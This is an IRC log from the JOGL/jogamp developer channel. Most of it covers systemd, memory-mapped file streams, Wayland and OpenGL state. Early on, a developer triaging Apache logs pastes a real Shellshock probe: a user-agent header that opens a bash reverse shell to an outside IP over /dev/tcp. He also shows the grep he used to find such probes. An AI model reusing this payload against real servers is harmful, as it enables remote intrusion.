#jogamp @ irc.freenode.net - 20140927 01:07:51 (UTC)

20140927 01:07:57 * jogamp (~jogamp@anon) has joined #jogamp
20140927 01:07:57 * Topic is 'http://jogamp.org | Hacking 3D Graphics, Multimedia and Processing across Devices'
20140927 01:07:57 * Set by rmk0 on 20130116 23:58:04
20140927 01:07:57 -NickServ- You are now identified for jogamp.
20140927 01:09:20 <sgothel> jogamp.org updated ..
20140927 01:32:34 <sgothel> tsts ..
20140927 01:33:05 <sgothel> there was an attack .. 'grep "{ :;};" /var/log/apache2/*log not' empty
20140927 01:33:24 <sgothel> on 2014-Sep-26 .. maybe it was Xerxes :)
20140927 01:33:54 <sgothel> 202.38.120.248, 54.251.83.67 and 85.25.242.250
20140927 01:48:33 <sgothel> besides 1x 'uname -a' , and 3x 'id' .. there also was a funny redir: "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
20140927 01:48:46 <sgothel> (one time)
20140927 01:48:53 <sgothel> well ..
20140927 01:54:01 * sgothel1 (~sgothel@anon) has joined #jogamp
20140927 01:54:02 * sgothel1 (~sgothel@anon) Quit (Changing host)
20140927 01:54:02 * sgothel1 (~sgothel@anon) has joined #jogamp
20140927 01:54:02 * ChanServ sets mode +v sgothel1
20140927 01:54:21 * sgothel (~sgothel@anon) Quit (Ping timeout: 260 seconds)
20140927 01:54:40 <sgothel1> test
20140927 01:55:09 * sgothel1 (~sgothel@anon) Quit (Client Quit)
20140927 01:57:14 * sgothel (~sgothel@anon) has joined #jogamp
20140927 01:57:14 * sgothel (~sgothel@anon) Quit (Changing host)
20140927 01:57:14 * sgothel (~sgothel@anon) has joined #jogamp
20140927 01:57:14 * ChanServ sets mode +v sgothel
20140927 01:58:47 * kermyt (~kermyt@anon) Quit (Ping timeout: 258 seconds)
20140927 02:01:08 * kermyt (~kermyt@anon) has joined #jogamp
20140927 02:01:08 * kermyt (~kermyt@anon) Quit (Changing host)
20140927 02:01:08 * kermyt (~kermyt@anon) has joined #jogamp
20140927 02:27:22 * [Mike] (~Mike]@anon) Quit ()
20140927 03:38:47 * [Mike] (~Mike]@anon) has joined #jogamp
20140927 08:07:10 * monsieur_max (~maxime@anon) has joined #jogamp
20140927 09:26:37 <rmk0> .o.
20140927 09:26:50 <rmk0> sgothel: was asleep... what's going on now?
20140927 12:48:57 * monsieur_max (~maxime@anon) Quit (Quit: Leaving.)
20140927 12:55:00 * monsieur_max (~maxime@anon) has joined #jogamp
20140927 12:56:37 * monsieur_max (~maxime@anon) Quit (Client Quit)
20140927 15:03:47 <sgothel> all good
20140927 15:04:06 <rmk0> phew!
20140927 15:04:20 <sgothel> well the ip/pipe .. funny
20140927 15:04:34 <sgothel> (of that attack - dunno whether it succeeded ..
20140927 15:05:13 <rmk0> hm...
20140927 15:05:17 * rmk0 logs in
20140927 15:05:24 <sgothel> 101.34.225.195.in-addr.arpa domain name pointer cacti.axit.nl.
20140927 15:05:24 <sgothel> root@jogamp:~# grep "{ :;};" /var/log/apache2/*log
20140927 15:05:24 <sgothel> /var/log/apache2/jogamp.org-access.log:202.38.120.248 - - [26/Sep/2014:09:01:20 +0200] "GET / HTTP/1.0" 200 13452 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
20140927 15:05:44 <rmk0> that is a weird one
20140927 15:06:03 <sgothel> yup the others are 'fine'
20140927 15:06:15 <rmk0> are there actually scripts on the server?
20140927 15:06:19 <rmk0> thought it was all static content
20140927 15:06:45 <sgothel> bugzilla .. wiki .. but shall not run from bash :)
20140927 15:06:59 <sgothel> but what do I know ? ..
20140927 15:07:28 <rmk0> looks like /bin/sh on the server is dash, not bash
20140927 15:07:29 <sgothel> /bin/sh -> dash
20140927 15:07:29 <rmk0> thankfully
20140927 15:07:34 <sgothel> hehe
20140927 15:14:06 <rmk0> don't see any obvious way someone could have executed bash from the web on the server
20140927 15:14:19 <rmk0> any .sh that's even accessible from the web is /bin/sh
20140927 15:14:27 <rmk0> and apache doesn't execute them if you request them
20140927 15:14:44 <rmk0> http://jogamp.org/jogl/make/scripts/lstjars.sh
20140927 15:14:45 <rmk0> for example
20140927 15:14:57 <sgothel> hehe
20140927 15:15:06 <sgothel> that would be horrible indeed
20140927 15:15:22 <rmk0> i've seen it happen >_<
20140927 15:15:36 <rmk0> must be nasty to run a hosting company
20140927 15:15:58 <sgothel> w/ _shared_ server setup .. yup
20140927 15:16:53 <sgothel> I have heard chroot got a revival recently .. they just called it different and got lots of money :)
20140927 15:18:50 <sgothel> Have you followed the systemd controversy ? (PID1 w/ tons of dependencies, if not executing all of that in it's own process)
20140927 15:19:32 <sgothel> Seems they do use IPC .. and a child process does not bring down its parent .. right?
20140927 15:19:52 <rmk0> not really looked into it much
20140927 15:20:04 <rmk0> all i've heard is a load of unix traditionalists screaming that the sky is falling down
20140927 15:20:12 <sgothel> so at least updating some of the many packages could at least force a reboot
20140927 15:20:14 <sgothel> yup
20140927 15:20:31 <rmk0> it seems to be multiple processes here
20140927 15:20:44 <rmk0> systemd, systemd-udevd, systemd-journald, systemd-logind
20140927 15:21:10 <sgothel> the other uglyness it seems .. it also enforces you to use it .. but that is a package maintainer issue
20140927 15:21:40 <rmk0> don't know really... sounds like they provided APIs that people wanted, people use them, and now systemd is "forcing them to use the APIs"
20140927 15:21:51 <sgothel> :)
20140927 15:21:58 <rmk0> unix people are personally insulted that they no longer get to maintain their own init scripts
20140927 15:22:14 <sgothel> well .. I guess that is still possible ofc
20140927 15:22:22 <rmk0> think so
20140927 15:22:34 <rmk0> for a while arch had some sort of sysv compatibility package that systemd executed on boot
20140927 15:23:39 <sgothel> must read their init code one day .. at least it got a bit more complex due to the IPC
20140927 15:25:08 <rmk0> i vaguely trust red hat
20140927 15:25:14 <rmk0> i mean... they have actual customers
20140927 15:25:29 <rmk0> suspect they're attempting to solve actual problems
20140927 15:26:02 <rmk0> think most of their views would be considered heretical in the unix world
20140927 15:26:14 <sgothel> just that their attitude is a bit questionable like, 'why unix style', 'why posix' .. well
20140927 15:26:21 <sgothel> yup
20140927 15:26:33 <sgothel> well, its red-hat :)
20140927 15:26:50 <sgothel> I remember reading things like 'why do you want to do that?'
20140927 15:27:02 <sgothel> my way or the highway :)
20140927 15:27:22 <rmk0> i think i'd be more irritated if it didn't work well
20140927 15:27:33 <rmk0> been using it for about two years now, and it's been utterly problem-free
20140927 15:27:35 <sgothel> that surely has to be seen
20140927 15:27:39 <rmk0> like "don't know it's there" problem-free
20140927 15:27:41 <sgothel> i.e. if its flexible enough
20140927 15:28:24 <sgothel> so some folks say, a custom networking setup w/ tons of whistles .. is not so possible w/ their swallowed networking daemons
20140927 15:28:31 <sgothel> but well .. then drop those I guess
20140927 15:28:47 <sgothel> NetworkManager .. etc
20140927 15:29:00 * rmk0 sniggers
20140927 15:29:29 <sgothel> will see if my server setup works w/ it .. in .. err .. w/ Debian 8 release :)
20140927 15:30:42 <sgothel> the uselessd fork, funny thing, at least claims to bring back posix and other OS than linux
20140927 15:33:15 <rmk0> mainly just happy to see actual process supervision
20140927 15:33:43 <sgothel> agreed, nice ,, pidof .. was not really great
20140927 15:33:53 <rmk0> is awful
20140927 15:34:08 <rmk0> pidfiles are a horrible idea
20140927 15:35:40 <sgothel> one good thing though, you know who didn't shutdown last time :)
20140927 15:36:10 <sgothel> iff the filesystem is functional :)
20140927 15:49:13 <sgothel> http://www.zerohedge.com/news/2014-09-26/your-new-normal-life-pictures :)
20140927 15:52:03 <sgothel> guess I am the 'old hands' now, and our offspring will be told to be aware of all the 'things' :)
20140927 15:52:25 <sgothel> picking apples from tree now .. laters
20140927 16:35:28 * monsieur_max (~maxime@anon) has joined #jogamp
20140927 17:37:40 * [Mike] (~Mike]@anon) Quit (*.net *.split)
20140927 17:46:47 * [Mike] (~Mike]@anon) has joined #jogamp
20140927 17:50:01 <sgothel> @Mark (and who is interested ofc): Maybe to render the MappedByteBuffer*Stream really useful, we might add JNI native mmap and munmap ?
20140927 17:50:27 <sgothel> ofc .. a r/w method using ByteBuffers might seem useful as well
20140927 17:51:31 <sgothel> https://jogamp.org/bugzilla/show_bug.cgi?id=1080
20140927 17:52:17 <sgothel> i.e. about the 'flushing' of a mapped buffer slice - or hopping to the next
20140927 17:52:25 <sgothel> right now, using an array of slices
20140927 17:52:54 <sgothel> native mmap/munmap could remove such use and map the current 'window' directly
20140927 17:53:35 <sgothel> also ensuring the unmap and hence release, which currently is only impl. in a fuzzy way (GC or private 'cleaner' method)
20140927 17:53:43 <sgothel> hmm
20140927 17:55:28 * rmk0 eyes everything
20140927 17:56:17 <sgothel> https://jogamp.org/bugzilla/show_bug.cgi?id=1080#c5
20140927 17:56:18 <rmk0> not sure i really understand this
20140927 17:56:31 <sgothel> handling big files .. w/o copy
20140927 17:56:32 <rmk0> like... why it's part of jogamp
20140927 17:56:36 <sgothel> GlueGen ..
20140927 17:56:49 <sgothel> offers basic utils, IO and NIO
20140927 17:57:54 <sgothel> I was searching for something like this .. but didn't find a useful impl. supporting I/O
20140927 17:58:08 <rmk0> how is the mapping currently implemented?
20140927 17:58:15 <sgothel> FileChannel mmap
20140927 17:58:24 <sgothel> which restricts the size to MAX_INT
20140927 17:58:29 <sgothel> hence the buffer slices ..
20140927 17:58:34 <sgothel> (array of)
20140927 17:58:38 <rmk0> nasty
20140927 17:58:41 <sgothel> hehe
20140927 17:58:49 <sgothel> which may grow for Output
20140927 17:58:56 <rmk0> what is it with that lot and signed 32 bit integers...
20140927 17:59:06 <rmk0> a lot of the standard library seems to have limits like that
20140927 17:59:13 <sgothel> ByteBuffer is at fault here
20140927 17:59:36 <sgothel> however - even if it would be possible to use all 32bits (unsigned) or even 64bit, it would exhaust address space
20140927 17:59:52 <sgothel> so using a 'window' surely is a reasonable way
20140927 18:00:02 <rmk0> most likely
20140927 18:00:19 <sgothel> Further problem .. umap handling w/ that FileChannel mapping is lazy .. via GC
20140927 18:00:28 <sgothel> or, if available, we use a private method
20140927 18:00:55 <sgothel> works OK .. when testing .. i.e. V-Mem (growth depending on 'flush' method) .. and Heap (not growing)
20140927 18:01:37 <sgothel> 'big' files .. which are more common today, i.e. > 2GiB
20140927 18:01:51 <sgothel> further - this supports mark/reset, a.k.a. random access
20140927 18:02:03 <rmk0> sounds decent
20140927 18:02:26 <sgothel> traditionally you would use a Buffered*Stream .. which would exhaust heap space - plus introduces a copy
20140927 18:03:08 <sgothel> use case: media files, incl. models etc
20140927 18:07:30 <rmk0> ... i forget what the question was
20140927 18:07:47 <sgothel> hehe - just trying to review the thoughts/implementation etc
20140927 18:07:53 <sgothel> i.e. check my sanity :)
20140927 18:07:57 <rmk0> hehe, right
20140927 18:08:07 <rmk0> well what you've described sounds ok
20140927 18:08:17 <rmk0> wasn't even aware of the stupid ByteBuffer limits
20140927 18:08:41 <sgothel> .. and ofc .. whether some enhancements are needed .. or impl. even can get optimized
20140927 18:08:58 <sgothel> like on windows .. I could not even map 1MiB at once
20140927 18:09:06 <sgothel> sorry 1 GiB that is!
20140927 18:09:07 <rmk0> yow
20140927 18:09:25 <sgothel> win7 .. 32bit JVM .. to be correct (java7, java8)
20140927 18:09:29 <rmk0> what was the error?
20140927 18:09:41 <sgothel> I figured that w/ 1st unit test
20140927 18:09:52 <sgothel> comparing all the diff. methods .. performance .. resource usage
20140927 18:10:01 <sgothel> OutOfMemory
20140927 18:10:13 <sgothel> either direct or encapsuled as cause in IOException
20140927 18:10:34 <sgothel> see FLUSH_NONE comment in new *InputStream
20140927 18:10:40 <rmk0> hrm
20140927 18:11:02 <sgothel> (v-mem exhaustion of 32bit on 64bit apps)
20140927 18:11:07 <rmk0> wondering if it logged an event
20140927 18:11:49 <sgothel> on Linux we get the whole physical possible of 2 GiB
20140927 18:12:24 <sgothel> right .. hmm .. or restriction applied in native code
20140927 18:12:26 <rmk0> seem to remember windows xp using PAE
20140927 18:13:08 <rmk0> so... it should allow mapping objects bigger than 1 GiB
20140927 18:13:13 <rmk0> modern windows, i mean
20140927 18:13:22 <rmk0> wondering if it's a security thing
20140927 18:13:36 <rmk0> OutOfMemory isn't too helpful, but the program may've dumped something in the event log
20140927 18:13:59 <sgothel> opening it
20140927 18:15:54 <sgothel> hmm, 'Summary' doesn't show anything
20140927 18:16:03 <sgothel> 'Summary Page Events' that is
20140927 18:17:01 <rmk0> not sure where it'd be
20140927 18:17:05 <rmk0> if it even exists
20140927 18:34:20 * zzuegg (~zzuegg@anon) Quit (Quit: Nettalk6 - www.ntalk.de)
20140927 20:16:05 * [Mike] (~Mike]@anon) Quit (Read error: Connection reset by peer)
20140927 20:32:19 * bbbruce_ (~bx@anon) has joined #jogamp
20140927 20:32:25 * bbbruce (~bx@anon) Quit (Write error: Connection reset by peer)
20140927 20:32:25 * bbbruce_ is now known as bbbruce
20140927 20:39:43 * monsieur_max (~maxime@anon) Quit (Quit: Leaving.)
20140927 20:43:49 * rmk0_ (~rmk0@anon) has joined #jogamp
20140927 20:48:50 * rmk0 (~rmk0@anon) Quit (Ping timeout: 272 seconds)
20140927 21:08:12 * void256 (~void@anon) has joined #jogamp
20140927 22:18:26 * void256 (~void@anon) Quit (Remote host closed the connection)
20140927 23:49:46 * [Mike] (~Mike]@anon) has joined #jogamp
20140928 03:50:16 * [Mike] (~Mike]@anon) Quit (Read error: Connection reset by peer)
20140928 04:19:38 * [Mike] (~Mike]@anon) has joined #jogamp
20140928 07:49:37 * zzuegg (~zzuegg@anon) has joined #jogamp
20140928 07:49:59 * zzuegg (~zzuegg@anon) Quit (Client Quit)
20140928 07:52:49 * zzuegg (~zzuegg@anon) has joined #jogamp
20140928 08:58:50 * monsieur_max (~maxime@anon) has joined #jogamp
20140928 09:22:46 * monsieur_max (~maxime@anon) Quit (Ping timeout: 272 seconds)
20140928 09:38:14 * monsieur_max (~maxime@anon) has joined #jogamp
20140928 09:54:41 * monsieur_max (~maxime@anon) Quit (Ping timeout: 260 seconds)
20140928 10:11:33 * monsieur_max (~maxime@anon) has joined #jogamp
20140928 12:24:31 <sgothel> why .. oh why are they still requiring a client side pixmap ? (wayland compositor .. http://wayland.freedesktop.org/docs/html/sect-Wayland-Architecture-wayland_hw_enabling.html) - nice to have maybe (if showing a 'preview' in task-switcher), but a requirement? one could read-pixels .. hmm
20140928 15:33:40 * Eclesia (~eclesia@anon) has joined #jogamp
20140928 15:34:31 <Eclesia> hi
20140928 15:40:32 * Eclesia (~eclesia@anon) Quit (Read error: Connection reset by peer)
20140928 15:48:26 * Eclesia (~eclesia@anon) has joined #jogamp
20140928 15:49:49 <Eclesia> hi (again). unstable connexion today ...
20140928 15:51:50 <Eclesia> I'm making a list of all elements which may affect the GL state to write somekind of 'resetState' method. if you see something missing in my list please tell me.
20140928 15:52:15 <Eclesia> glEnable/glDisable values, glBlendFunc, binded fbo
20140928 16:33:29 * Eclesia (~eclesia@anon) Quit (Quit: Leaving.)
20140928 16:33:48 <rmk0_> glPolygonMode, glCullFace, glLogicOp, glColorMask, glDepthMask, glStencilMask, glStencilFunc, glScissor*, glViewport,
20140928 16:34:12 * rmk0_ is now known as rmk0
20140928 16:34:15 * rmk0 (~rmk0@anon) Quit (Changing host)
20140928 16:34:15 * rmk0 (~rmk0@anon) has joined #jogamp
20140928 16:37:15 <rmk0> i don't think a complete reset of the opengl state is practical
20140928 16:37:18 <rmk0> there's too much of it
20140928 16:37:42 <rmk0> it's not unreasonable to track a subset of that state and track changes to the state, though
20140928 16:38:10 <rmk0> can certainly understand the desire to reset state!
20140928 21:05:05 * monsieur_max (~maxime@anon) Quit (Quit: Leaving.)
20140929 05:05:52 -jogamp- Continue @ http://jogamp.org/log/irc/jogamp_20140929050552.html